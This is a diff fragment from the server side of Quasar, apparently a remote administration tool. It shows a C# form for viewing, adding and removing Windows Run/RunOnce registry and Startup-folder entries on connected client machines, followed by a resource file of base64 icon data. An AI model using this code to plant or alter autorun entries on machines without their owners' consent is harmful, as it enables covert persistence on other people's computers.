MessageHandler.Unregister(_startupManagerHandler); + _startupManagerHandler.ProgressChanged -= StartupItemsChanged; + _connectClient.ClientState -= ClientDisconnected; + } + + /// + /// Called whenever a client disconnects. + /// + /// The client which disconnected. + /// True if the client connected, false if disconnected + private void ClientDisconnected(Client client, bool connected) + { + if (!connected) + { + this.Invoke((MethodInvoker)this.Close); + } + } + + private void FrmStartupManager_Load(object sender, EventArgs e) + { + if (Settings.DarkMode) { DarkModeManager.ApplyDarkMode(this); } + ThemeManager.ApplyThemeToNewForm(this); + this.Text = WindowHelper.GetWindowTitle("Startup Manager", _connectClient); + + AddGroups(); + _startupManagerHandler.RefreshStartupItems(); + } + + private void FrmStartupManager_FormClosing(object sender, FormClosingEventArgs e) + { + UnregisterMessageHandler(); + } + + /// + /// Adds all supported startup types as ListView groups. + /// + private void AddGroups() + { + lstStartupItems.Groups.Add( + new ListViewGroup("HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run") + {Tag = StartupType.LocalMachineRun}); + lstStartupItems.Groups.Add( + new ListViewGroup("HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnce") + {Tag = StartupType.LocalMachineRunOnce}); + lstStartupItems.Groups.Add( + new ListViewGroup("HKEY_CURRENT_USER\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run") + {Tag = StartupType.CurrentUserRun}); + lstStartupItems.Groups.Add( + new ListViewGroup("HKEY_CURRENT_USER\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnce") + {Tag = StartupType.CurrentUserRunOnce}); + lstStartupItems.Groups.Add( + new ListViewGroup("HKEY_LOCAL_MACHINE\\SOFTWARE\\WOW6432Node\\Microsoft\\Windows\\CurrentVersion\\Run") + { Tag = StartupType.LocalMachineRunX86 }); + lstStartupItems.Groups.Add( + new ListViewGroup("HKEY_LOCAL_MACHINE\\SOFTWARE\\WOW6432Node\\Microsoft\\Windows\\CurrentVersion\\RunOnce") + { Tag = StartupType.LocalMachineRunOnceX86 }); + lstStartupItems.Groups.Add(new ListViewGroup("%APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup") + {Tag = StartupType.StartMenu}); + } + + /// + /// Called whenever a startup item changed. + /// + /// The message handler which raised the event. + /// The current startup items of the client. + private void StartupItemsChanged(object sender, List startupItems) + { + if (IsDisposed || !IsHandleCreated) return; + if (startupItems == null) return; + + if (this.InvokeRequired) + { + try { this.Invoke((MethodInvoker)(() => StartupItemsChanged(sender, startupItems))); } + catch (ObjectDisposedException) { } + return; + } + + lstStartupItems.Items.Clear(); + + foreach (var item in startupItems) + { + if (item == null) continue; + var group = lstStartupItems.Groups.Cast() + .FirstOrDefault(x => x.Tag is StartupType t && t == item.Type); + if (group == null) continue; + ListViewItem lvi = new ListViewItem(new[] { item.Name ?? "", item.Path ?? "" }) { Group = group, Tag = item }; + lstStartupItems.Items.Add(lvi); + } + } + + private void addEntryToolStripMenuItem_Click(object sender, EventArgs e) + { + using (var frm = new FrmStartupAdd()) + { + if (frm.ShowDialog() == DialogResult.OK) + { + _startupManagerHandler.AddStartupItem(frm.StartupItem); + _startupManagerHandler.RefreshStartupItems(); + } + } + } + + private void removeEntryToolStripMenuItem_Click(object sender, EventArgs e) + { + bool modified = false; + + foreach (ListViewItem item in lstStartupItems.SelectedItems) + { + _startupManagerHandler.RemoveStartupItem((StartupItem)item.Tag); + modified = true; + } + + if (modified) + { + _startupManagerHandler.RefreshStartupItems(); + } + } + } +} diff --git a/Quasar-1.4.1/Quasar.Server/Forms/FrmStartupManager.resx b/Quasar-1.4.1/Quasar.Server/Forms/FrmStartupManager.resx new file mode 100755 index 0000000..b8bc596 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Server/Forms/FrmStartupManager.resx @@ -0,0 +1,662 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + 17, 17 + + + + + AAABAAQAEBAAAAAAIABoBAAARgAAACAgAAAAACAAqBAAAK4EAAAwMAAAAAAgAKglAABWFQAAQEAAAAAA + IAAoQgAA/joAACgAAAAQAAAAIAAAAAEAIAAAAAAAQAQAAAAAAAAAAAAAAAAAAAAAAAD///8B////Af// + /wH///8B////Af///wE/LyhBOSkiyzkpIslBMSo9////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////AUg4MSE6KiOrNycg/T4uJ/87KyT/Nycg/TsrJKdKOjMf////Af///wH///8B////Af// + /wH///8BXExFCzsrJIE3JyD1OSki/zkpIv9PQDr/Szs1/zkpIv84KCH/Nycg8zsrJH0/LygL////Af// + /wH///8BPCwlVTcnIOE4KCH/OCgh/zcnIP81JR7/YVRP/1pMRv82Jh//OCgh/zgoIf84KCH/OCgh3zws + JVH///8BWUlCJTcnIPc4KCH/QzQt/4B1cP+Dd3L/fnJt/6uioP+jmpb/bF9Z/2pcVf9jVU7/PCwl/zgo + If84KCHza1tUH1NDPCs3JyD7eGtm/4J2cv87KyT/MSEa/z8vKP+vpqL/q6Ke/z0tJ/82JyD/NSUe/1pL + Rf9QQDr/OCgh9W5eVyNTQzwrNiYf+4h8eP83JyD/YFBJ/7yspf+woZv/iXt1/41+d/+Gdm7/bl5X/0Ex + Kv84KCH/U0M8/zUlHvVuXlcjU0M8KzcnIPs1JB3/c2Nc/5CAef/IuLH/qaGf//7+/v/+/v7/3dXR/6ub + lP/Nvbb/WUlC/04+N/84KCH1bl5XI1NDPCs4KCH7OCgh/35uZ/+Tg3z/hHRu/5SIg//9/f3//v39/97S + zP9pWVP/0sK7/1dHQP83JyD/OSki9W5eVyNTQzwrOCgh+zkpIv82Jh//YFBJ/5mJgv+zopv/6+bj/9vW + 1P9pWFH/eGhi/0w8Nf83JyD/OSki/zkpIvVuXlcjU0M8KzgoIfs5KSL/OCgh/zwsJf84KCH/NiYf/5GI + hP+MgX3/Nycg/zgoIf9aTEb/WUtG/zkpIv85KSL1bl5XI1ZGPyc4KCH5OCgh/zgoIf+upqP/TT85/zgo + If9uYl3/aVxX/zgoIf84KCH/kIaC/5CGgv84KCH/OCgh83BgWSGHd3ADPi4nYTgoIek4KCH/Sjs0/zUl + Hv84KCH/WUtF/1FDPf9BMSr/loyI/zsrJP88LCX/OSki5z4uJ13///8B////Af///wFKOjMROyskjTgo + Ifk4KCH/OSki/0Y2L/9DMyz/OCgh/zUlHv84KCH5Oioji1NDPA////8B////Af///wH///8B////Af// + /wFGNi8pOCghtTgoIf84KCH/OCgh/zcnIP06KiOxQTEqJ////wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wE8LCVJOCgh0zgoIdE+LidH////Af///wH///8B////Af///wH///8BAAD//wAA + //8AAP//AAD//wAA//8AAP//AAD//wAA//8AAP//AAD//wAA//8AAP//AAD//wAA//8AAP//AAD//ygA + AAAgAAAAQAAAAAEAIAAAAAAAgBAAAAAAAAAAAAAAAAAAAAAAAAD///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8Bbl5XBUY2L105KSLTOioj0U09NlVWRj8D////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////AU8/ODs6KiPBNSUe/zkpIv83JyD/NCQd/Toq + I7tZSUI1////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////AWtbVB8+LiedNiYf9zcnIP85KSL/OSki/zcn + IP83JyD/NiYf/zUlHvVCMiubZVVOGf///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////AVJCOwlHNzB3Nycg7zYmH/85KSL/OCgh/zkp + Iv9NPTb/RTUu/zgoIf84KCH/OCgh/zYmH/83JyDrSTkycWNTTAf///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////AUs7NANPPzhROCgh1zUlHv85KSL/OSki/zkp + Iv85KSL/OSki/1xNRv9XR0D/OSki/zkpIv85KSL/OSki/zgoIf80JB3/Oioj0UExKkVgUEkD////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wFcTEUtPS0mtTMjHP04KCH/OCgh/zkp + Iv85KSL/OSki/zkpIv83KCH/cGNe/2FUT/85KSL/OSki/zkpIv85KSL/OSki/zgoIf84KCH/NSUe/UAw + KbE/Lygn////Af///wH///8B////Af///wH///8B////Af///wFUQzwVQTEqkzMjHPU3JyD/OCgh/zkp + Iv85KSL/OSki/zkpIv85KSL/OCgh/zMjHP+Ngnz/eGtl/zYmH/85KSL/OSki/zkpIv85KSL/OSki/zkp + Iv85KSL/Nycg/zUlHvNAMCmNTz84E////wH///8B////Af///wGyopsDSTkyVTUlHuU1JR7/OSki/zgo + If84KCH/OCgh/zgoIf83JyD/NSUe/zQkHf8xIBn/JRYQ/56Wk/+Sh4P/KRgS/zMiG/81JR7/Nycf/zgo + If84KCH/OCgh/zkpIv85KSL/OCgh/zYmH/83JyDjRjYvTf///wH///8B////AWNTTD82Jh/pOCgh/zkp + Iv85KSL/OSki/zUkHf8sHBT/OSkh/1pKRP+He3b/pp6a/7KrqP+1ran/6eXk/+Da2P+upJ//opiU/46B + fP9uYFr/Szw2/zMjHP8xIBn/OCgh/zkpIv85KSL/OSki/zgoIf81JR7haFhRM////wH///8BUUE6VTgo + IfU4KCH/OSki/zYmH/8vHRb/cWRf/8K7uP/Y09H/raWh/4B0b/9cTEb/RDQs/yoZFP/k4N7/2NPR/ykX + D/85KSL/SToz/2ZXUP+JfHb/npGL/4t/ev9QQTr/Lh4W/zkpIv84KCH/OSki/zgoIe1uXldF////Af// + /wFTQzxTNycg9TgoIf8wIBj/X09J/9rW1P+upqL/UUI7/y0cFP8sHBT/MyMc/zkpIv87KyT/SDgw//n4 + 9//18/P/PCwl/zssJf85KSP/OSki/zIiG/8sHBT/OCgg/21gWf+UiIL/Py8n/zYnIP85KSL/OCgh625e + V0P///8B////AVNDPFM3JyD1NSUf/21fWf/k4N//U0M8/y0cFP83Jh//OCgh/zIiG/8zIxz/Py8o/0k4 + Mv+HeXX/9e7r//n08f+CdXH/Rzcw/zoqI/84KCH/OCgh/zcnIP85KSL/NCQd/zIhGv+JeXP/RDQt/zkp + Iv84KCHrbl5XQ////wH///8BU0M8UzgoIfUzIhv/4dzb/1JCPf82Jh//OCgh/zYmH/9AMCn/lYV+/8Cw + qf/Pv7j/3c3G/8Gxqv+Id3H/X05H/1REPv9MPDX/Oioj/zEhGv8vHxj/NCQd/zgoIf85KSL/OSki/y4e + F/+Ab2n/MyMc/zgoIetuXldD////Af///wFTQzxTOCgh9TYnIP+7sq//MSAZ/zcnIP82Jh//Pi4n/8y8 + tf/QwLn/zLy1/8W1rv9RQj//UUM+/4yAfP+6raj/x7ix/8a1rf/Lu7T/uqqj/56Oh/9nV1D/MyMc/zcn + IP84KCH/Lx8Y/3FhWv8xIRr/OCgh625eV0P///8B////AVNDPFM3JyD1OCgh/y0cFP85KSL/QjIr/3Zm + X/9pWVL/1cW+/8y8tf/Ovrf/RTg0/8rEwf/+/f3///7+///////+/f3/7+jl/6SUjP/Nvbb/0MC5/9XF + vv/EtK3/Rzcw/zYmH/9FNS7/X09I/zgoIf84KCHrbl5XQ////wH///8BU0M8UzcnIPU4KCH/OCgh/zUl + Hv9tXVb/p5eQ/zgoIf/Lu7T/z7+4/7ioof+WjIj///7+///+/v/////////////+/v//////4dnV/1FA + Ov+/r6j/zb22/86+t/+snJX/PS0m/19PSP80JB3/OSki/zgoIetuXldD////Af///wFTQzxTNycg9Tgo + If85KSL/Nycg/1lJQv/czMX/eWli/zUlIP+Ccmz/t6eg/6KTjP/39vX///////////////////////z5 + +f/YycL/fm5n/2JSTP/Vxb7/zb22/6ublP8xIRr/NSUe/zgoIf85KSL/OCgh625eV0P///8B////AVND + PFM3JyD1OCgh/zkpIv85KSL/MCAZ/5SEff/ezsf/wbGq/39vaf9aSkT/Tz84/2lZUv/6+fj///7+///+ + /v/8+/r/0MC5/9TFvv9BMSv/hHRt/9fHwP/Pv7j/Sjoz/zcnIP84KCH/OCgh/zkpIv84KCHrbl5XQ/// + /wH///8BU0M8UzcnIPU4KCH/OSki/zkpIv84KCH/MCAZ/2ZWT/+1pZ7/2srD/97Ox//by8T/08K6/+/o + 5P///v7///7+//Lr5/+9rKX/Tz84/29gW//UxL3/kIB5/zsrJP82Jh//OCgh/zkpIv85KSL/OSki/zgo + IetuXldD////Af///wFTQzxTNycg9TgoIf85KSL/OSki/zgoIf84KCH/NSUe/zAgGf9ENC3/ZlZP/4V1 + bv+YiIH/vrKt//////////7/fnBs/zQkHf9jU03/ZVVO/zkpIv8wIBn/NiYf/zYmH/84KCH/OSki/zkp + Iv85KSL/OCgh625eV0P///8B////AVNDPFM3JyD1OCgh/zkpIv85KSL/OSki/zkpIv85KSL/OCgh/zgo + If83JyD/NCQd/zMjHP8+Lin/9/b2//Py8f84JyD/OCgh/zYmH/83JyD/OCgh/zgoIf9PQDr/Tj44/zkp + Iv85KSL/OSki/zkpIv84KCHrbl5XQ////wH///8BU0M8UzcnIPU4KCH/OSki/zkpIv85KSL/OCgh/zgp + If9HNjD/Nych/zgoIf84KCH/OCgh/y0cFP/k4N7/2NPR/ysaE/84KCH/OCgh/zkpIv85KSL/KxsV/7Sr + qf+1rKr/KxsV/zkpIv85KSL/OSki/zgoIetuXldD////Af///wFRQTpVNycg9TgoIf85KSL/OSki/zkp + Iv84KCH/TkA8/9jRzv9AMy7/Nycg/zkpIv84KCH/KhkS/8C4tf+yqqb/LR0W/zkpIv85KSL/OSki/zUl + Hv9wYlv//v39//79/f9vYVv/NSUe/zkpIv85KSL/OCgh7W1dVkX///8B////AVpKQ0U3JyDtOSki/zkp + Iv84KCH/OSki/zcnIP+nnZj/7uvp/46EgP8xIBn/OSki/zkpIv8vHxj/oJeU/5SJhP8xIRv/OSki/zYm + H/8+Lif/NSQd/ywcFv+nnpr/p56a/ywcFv85KSL/OSki/zkpIv83JyDlc2NcOf///wH///8Bh3dwBUU1 + Lmc3JyDzNycg/zgoIf85KSL/OCgh/zEgGv+Ngn3/LBsV/zkpIv85KSL/OSki/zMjHP+Lf3r/dWlk/zYn + IP86KiP/U0Q///n49/91Z2L/MyMc/0o6M/9IODL/OSki/zkpIv83JyD/NCQd70o6M1+jk4wD////Af// + /wH///8B////AVVFPiU/LyipNiYf+zgoIf84KCH/OCgh/zEhGv85KSL/OCgh/zkpIv84KCH/OCgh/29i + Xf9hU0//Oioj/zkpIv89LCX/n5aS/0o8Nf84KCH/NyYg/zYmH/84KCH/NSUe+UIyK6NeTkch////Af// + /wH///8B////Af///wH///8B////Af///wFJOTJBOyskyTQkHf85KSL/OSki/zkpIv85KSL/OSki/zkp + Iv85KSL/W0tF/1ZHQP85KSL/OSki/zgpIv8uHhb/Nycg/zkpIv85KSL/NSUe/zsrJMdSQjs7////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wFpWVIHSjozZTcnIOc3JyD/OCgh/zgo + If85KSL/OSki/zkpIv9LOzT/RjYv/zgoIf85KSL/OCgh/zcnIP84KCH/Nycg/zoqI+VFNS5deGhhBf// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8BTz84E0Q0 + LY00JB31NiYf/zkpIv85KSL/OSki/zkpIv83JyD/OCgh/zkpIv84KCH/Nycg/zgoIfM+LyiFWEhBEf// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////AUExKi0/LyizNSUe+zgoIf84KCH/OCgh/zgoIf84KCH/OCgh/zQkHfs+LierSDgyKf// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////AV1NRgNBMSpHOiojzzMjHP84KCH/OCgh/zQkHf86KiPNRzcwQ/// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wFVRT4JSjozbzYmH+E4KCHfQjIraUg4 + MQn///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8BAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAoAAAAMAAAAGAAAAABACAAAAAAAIAlAAAAAAAAAAAAAAAAAAAAAAAA////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wFuXlYDUEA5Kz8vKHs8LCXNPy8oyUY2L3NURD0lVkY/A////wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////AUU1LhVGNi9ZPS0mwzQkHfc2Jh//NSUe/zYmH/U7KyS7RTUuT0o6MxP///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8BV0dAQz4uJ6M2Jh/nNSUe/zgoIf85KSH/Nycg/zcnIP82Jh/9Nycg40U1 + Lp1VRT45////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8Ba1tUCVNDPDVDMyyNOSki7zMjHP83JyD/OSki/zkpIv84KCH/Nycg/zgo + If83JyD/NiYf/zIiG/83JyDpRTUui1hIQTFjU0wH////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wFeTkcbRDQteT0tJs81JR75NSUe/zgoIf83KCH/OSki/zYm + H/9JOTL/Py8o/zYmH/83JyD/Nycg/zcnIP82Jh//NSUe+TwsJcdCMitxaFdRF////wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8BUkI6B1JCO0lAMCmzNSUe8zYmH/84KCH/OSki/zgo + If84KCH/OCgh/zEhGv9jU0z/WEhB/zIiG/84KCH/OCgh/zgoIf84KCH/OCgh/zYmH/82Jh/xQDApr1pK + Q0NjU0wF////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////AVREPQ1TQzw5QDApsTMjHPM1JR7/OSki/zkp + Iv85KSL/OSki/zkpIv85KSL/OCgh/y0dFv94aWL/cF9Y/y0dFv85KSL/OSki/zkoIf85KSL/OSki/zko + If84KCH/NCQd/zMjHPFFNS6pRTUuMUc3MAv///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wGAb2gDUUE6LzwsJYM6KiPXNSUe/zcn + IP84KCH/OSkh/zkpIv85KCH/OSkh/zkpIv85KCH/OCki/ysaE/+He3b/f3Bq/ysaFP84KCH/OCgi/zkp + Iv85KCH/OCgi/zkpIv84KCH/OCgh/zcnIP80JB3/NiYfz0ExKntcTEUr////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////AVhIQQ9cTEVVPCwlzTQk + HfM2Jh//OCgh/zgoIf84KCH/OSkh/zgoIf85KSH/OSkh/zgoIf85KSH/Nycg/ysbE/+dk4//h3x4/ygY + Ef85KSL/OSki/zkpIv85KSL/OSki/zkpIv85KSL/OCgh/zgoIf84KCH/Nycg/zYmH/M8LCXJPCwlTVJD + Owv///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wFUQzwRTDw1Vzkp + IrswIBn3NSUe/zgoIf84KCH/OSki/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zkpIv84KCH/NiYf/y8f + F/+3rqr/m5KN/ywbFP83KCH/OSki/zkoIf85KSL/OSki/zkoIf85KSL/OSki/zkoIf85KSL/OSki/zkp + Iv81JR7/NCQd9z8vKLdGNi9PTz83D////wH///8B////Af///wH///8B////Af///wH///8BXExFB0s7 + NDc7KySPOSki6zUlHv03JyD/OCgh/zgoIf84KCH/OSkh/zkpIv85KCH/OCgh/zgoIf84KCH/OSkh/zkp + Iv84KCH/NSQd/zQjHP/Dvbn/sqii/zEgGP82JiD/OCgh/zgoIf84KCH/OCgh/zgoIf84KCH/OCgh/zkp + Iv85KCH/OCgi/zkpIv85KSL/Nycg/zUlHv02Jh/lPy8oiUg4MTNFNS0F////Af///wH///8B////Af// + /wGyopsFWkpDVTMjHM80JB33NiYf/zgoIf85KSL/OCgh/zkpIv84KCH/Nycg/zgoIf84KCH/Nycg/zUl + Hf80JBz/MiIb/zAfGP8sHBT/JhYQ/y8iHv/KxsT/wLq3/ykZFP8oGBH/Lx8Y/zIiG/80JB3/NiYe/zcn + IP84KCH/OCgh/zcnIP84KCH/OSki/zkpIv85KSL/OCgh/zgoIf83JyD/NiYf9zcnIMlPPzhJWUpDA/// + /wH///8B////Af///wFuXldRPi4n1TAgGf84KCH/OSki/zkpIv85KSL/OSki/zkpIv82Jh//MSEa/zAg + GP81JR3/Pi0m/0s7Nf9kVU7/d2tl/4Z8d/+TiIT/m5CL/7Cmov/u7Or/5+Ti/6CTj/+TiIT/gnZx/3Nm + YP9lVlD/Tj84/0Q0Lf86KiT/MyMc/zIiG/81JR3/OCgh/zkpIv85KSL/OSki/zkoIf85KSL/OCgh/zMj + HP85KSLLYFBJQf///wH///8B////Af///wFSQjt/Oysk8TUlHv84KCH/OSki/zkpIv86KiP/NSUe/y4d + Ff8wHhf/Tj44/3VoY/+gl5T/wbq3/8vFw//W0M7/z8nG/721sv+ooZ7/lIuI/7CopP/18/P/8O3s/6SY + k/+ShoD/mY6J/6CXkv+mnJf/r6Sf/6memP+bjoj/fG5p/1lJQ/88LCX/Lx8Y/zMiG/85KSL/OCgi/zkp + Iv85KCH/OCgh/zIiG/8/Lyjjb19YZf///wH///8B////Af///wFSQjt/Oysk8TQkHf83KCH/OSki/zop + Iv8wHxj/KhgQ/1lKRP+imJT/3NnX/9/b2f/Iwr//kYeC/2tdV/9SRD3/Py4o/zgnH/8yIRn/IRAN/3tu + af/z8fD/7evq/2xeWP8lFA3/Lx8Y/zAfGP82Jh//QTAp/1BAOv9sXVb/in13/6GVj/+lmpX/cGNd/zsr + JP8pGBD/OCgh/zkpIv84KCH/OSki/zMjHP8/LyjjbV5XZ////wH///8B////Af///wFTQzx9Oysk8TQk + Hf84KCH/NSUe/y4cFf9RQDn/v7i1/+bj4v/Gwb7/dmlk/z8vKP8qGBD/JhQN/ykZEv8yIhv/OSki/zoq + I/88LCX/MyIZ/6qgnP/7+vr/+fj4/5mPjP8uHhf/PCwl/zoqI/85KSP/OSki/zUlHv8rGxT/JhUN/y8e + F/9GNi//gHNt/5+Uj/9+cWv/NiYe/zIiG/84KCH/OSki/zMjHP8+Lifjbl5XZf///wH///8B////Af// + /wFTQzx9Oysk8TQkHf84KCH/MCAZ/3BiXP/X0s//zMbD/3dqZP89LCX/KhkS/y8eF/81JR7/OSki/zkp + Iv83JyD/MyMc/zEhGv8tHBb/OCkl/83HxP/+/v7//f39/763tP8yIx//MiIb/zUlHv84KCH/OCgi/zkp + Iv85KSL/OCgh/zUkHf8vHhf/MB4X/0U1Lv98bmj/kIF6/0Y2L/8zIxz/OSki/zMjHP8+LifjbV5XZf// + /wH///8B////Af///wFTQzx9Oysk8TQkHf8yIRv/YVJL/+Hd2v/JwsD/QzIr/y0cFf8zIhv/Nycg/zgo + If83JyD/MSEa/ywcFf80JB3/RTUu/1VFPv9dTUb/f3Br/9/Uz//w5eD/9Ovm/+Tc2P9+b2r/WEhB/0g4 + Mf85KSL/OCgh/zcnIP84KCH/Nycg/zcnIP85KSL/Nycg/zQjHP8xIBn/YlNM/4t7dP89LSb/OCgh/zMj + HP8+Lifjbl5XZf///wH///8B////Af///wFTQzx9Oysk8TMjHP8uHRb/ysK//8zGxP9ALyj/MSEa/zkp + Iv84KCH/Nycg/zMjHP85KSL/bFxV/5uLhP+3p6D/y7u0/9XFvv/fz8j/2cnC/7yrpP+jkov/g3Fq/3Ff + WP9uXlj/X09I/1FBOv84KCH/MiIb/zEhGv8zIxz/NiYf/zcnIP84KCH/OSki/zkoIf85KSL/Lh4X/2VV + Tv9zYlz/MiIb/zMjHP8+Lifjbl5XZf///wH///8B////Af///wFTQzx9Oysk8TAgGf87KyT/8/Hw/5eM + iP8pGRP/Oioj/zcnH/82Jh//NCQd/0U1Lv+djYb/08O8/9fHwP/Swrv/1MS9/9PDu/+mlpD/YlNN/0Q2 + Mv9AMCv/Szoy/1dGP/9iUUv/bl5X/3JjW/9yYlv/ZVVO/1ZGP/9DMyz/MCAZ/y4eF/81JR7/OSki/zkp + Iv84KCH/NCQd/0MyLP+AcGn/KxsU/zQkHf8+LifjbV5XZf///wH///8B////Af///wFTQzx9Oysk8TIj + G/83JyD/pJiT/2ZYUf8yIRr/OCgh/zQkHf84KCH/OCgh/5WFfv/Wxr//zb63/8y8tf/Ovrf/yrqz/25g + W/8wIh//YFNO/5eMif+8sq7/2M7K/97Tzv/ZysP/z762/9PCu//Xx8D/zLy1/8a2r/+1pZ7/jHx1/1dH + QP8wIBn/NCQd/zkpIv84KCH/NSUe/0IyK/94aGH/LR0W/zQkHf8+Lifjbl5XZf///wH///8B////Af// + /wFTQzx9Oysk8TQkHf83JyD/KBYP/zEhGf86KiP/NCQd/3RkXf9aSkP/Szs0/8OzrP/Pv7j/zLy1/86+ + t//Swrv/WUtG/1JHRP/IwL3//Pz7///+/v///v7///////7+/v/8+/v/7+fj/8O0rv+vnpf/0cK7/9HB + uv/Swrv/2cnC/9bGv/+pmZL/QTEq/zMjHP84KCH/MyMc/2hYUf9WRj//Nycg/zMjHP8+Lifjbl5XZf// + /wH///8B////Af///wFTQzx9Oysk8TQkHf83KCD/NiYf/zgoIf82Jh//QjIr/7Kim/9nV1D/QDAp/7mp + ov/Tw7z/y7u0/9PDvP+vn5j/Rzo0/9DLyP/+/f3///7+///+/v/+/v7////////+/v/+/v7//v7+/+vm + 5P+cjYf/e2tk/8Gxqv/QwLn/y7u0/9DAuf/aysP/nIyF/zkpIv8wIBn/XU1G/2lZUv84KCH/OSki/zMj + HP8+LifjbV5XZf///wH///8B////Af///wFTQzx9Oysk8TQkHf84KCH/OCgh/zkpIv8xIRr/UUE6/8m5 + sv+Whn//JhYP/3NjXP/Rwbr/1MO8/9bFv/+nl4//bmFc//v5+f///v7///7+//7+/v/////////////+ + /v///v7///////79/f/g1M7/YE9J/11NR//Gtq//z7+4/8y8tf/Ovrf/x7ew/1ZGP/9VRT7/W0tE/zkp + Iv82Jh//OSki/zMjHP8+Lifjbl5XZf///wH///8B////Af///wFSQzx9Oysk8TQkHf84KCH/OSki/zkp + Iv81JR7/Rzcw/7urpP/ZycL/cmJb/y4eF/9JOTP/nIyF/7+vqP/MvLX/koJ8/9XPzP/9/Pz///////// + /////////////////////////v39//Hq5//Xx8D/oZGK/ywcGP+IeHL/2cnC/8y8tf/Nvbb/x7ew/1dH + QP85KSL/MiIb/zcnIP83KCH/OSki/zMjHP8+LifjbV1XZf///wH///8B////Af///wFSQzx9Oysk8TQk + Hf84KCH/OSki/zkpIv85KSL/MyMc/4R0bf/XxsD/zr63/5eHgf9XR0L/OSoj/0Q1MP9cTEb/cmFa/3xu + aP/DvLn///////7+/v///////v7+////////////7ufk/9TFvv/Xx8D/jX12/ygYEf+BcWr/2cnC/829 + t//aysP/no6H/zkpIv8zIxz/Nycg/zgoIf84KCH/OSki/zMjHP8+LifjbV1WZf///wH///8B////Af// + /wFSQzx9Oysk8TQkHf84KCH/OSki/zkpIv85KSL/NSUe/zwsJf+Whn//3s7H/93Nxv/Lu7T/qZmS/4x8 + df9yYlz/X09I/08+N/9zY1v/9PLw///+/v///v7///7+//7+/v/49fT/zb22/9PDu//Nvbb/QzMt/zYm + IP+tnZb/2cnC/9vLxP+8rKX/RjYv/zIiG/84KCH/OCgh/zgoIf84KCH/OSki/zMjHP8+LifjbV1XZf// + /wH///8B////Af///wFSQzx9Oysk8TQkHf84KCH/OSki/zkpIv85KSL/OCgh/zQkHf8uHhf/cWFa/7Gh + mv/Nvbb/3c3G/97Ox//dzcb/3MzF/9jIwf/OvbX/6uHc//7+/v///v7///7+///+/f/r4dz/z722/62d + lv9NPTb/PS4r/6aWj//czMX/uKih/3trZP84KCH/MiIb/zgoIf84KCH/OSki/zkpIv85KSH/OSki/zMj + HP8+LifjbV1XZf///wH///8B////Af///wFSQzx9Oysk8TQkHf84KCH/OSki/zkpIv85KSL/OCgh/zgo + If81JR7/Lh4X/0AwKf9kVE3/kIB5/6+fmP/Bsar/z7+4/9TEvf/RwLn/5NfR//37+v///////v7+//f1 + 